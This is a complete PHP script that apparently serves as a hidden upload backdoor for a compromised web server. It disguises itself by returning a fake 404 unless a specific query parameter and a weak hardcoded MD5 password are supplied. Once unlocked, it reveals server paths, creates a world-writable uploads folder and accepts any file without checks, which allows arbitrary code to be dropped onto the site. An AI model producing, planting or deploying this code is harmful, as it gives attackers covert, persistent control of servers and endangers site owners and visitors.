<?php
$pass = '202cb962ac59075b964b07152d234b70';

if (!isset($_GET['file']) || $_GET['file'] !== 'upload') {
    http_response_code(404);
    header('HTTP/1.1 404 Not Found');
    exit;
}

if (!isset($_GET['pass']) || md5($_GET['pass']) !== $pass) {
    http_response_code(404);
    header('HTTP/1.1 404 Not Found');
    exit;
}

$uploadPath = __DIR__ . '/uploads/';
if (!is_dir($uploadPath)) {
    mkdir($uploadPath, 0777, true);
}

$webRoot = $_SERVER['DOCUMENT_ROOT'];
$currentPath = __DIR__;
?>
<!DOCTYPE html>
<html>
<body>
<p>Current Path: <?php echo $currentPath; ?></p>
<p>Web Root: <?php echo $webRoot; ?></p>
<p>Upload Dir: <?php echo $uploadPath; ?></p>
<form method="post" enctype="multipart/form-data">
    <input type="file" name="f">
    <input type="submit" value="Upload">
</form>
</body>
</html>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['f'])) {
    $target = $uploadPath . basename($_FILES['f']['name']);
    move_uploaded_file($_FILES['f']['tmp_name'], $target);
    echo 'Upload OK: ' . $target;
}
?>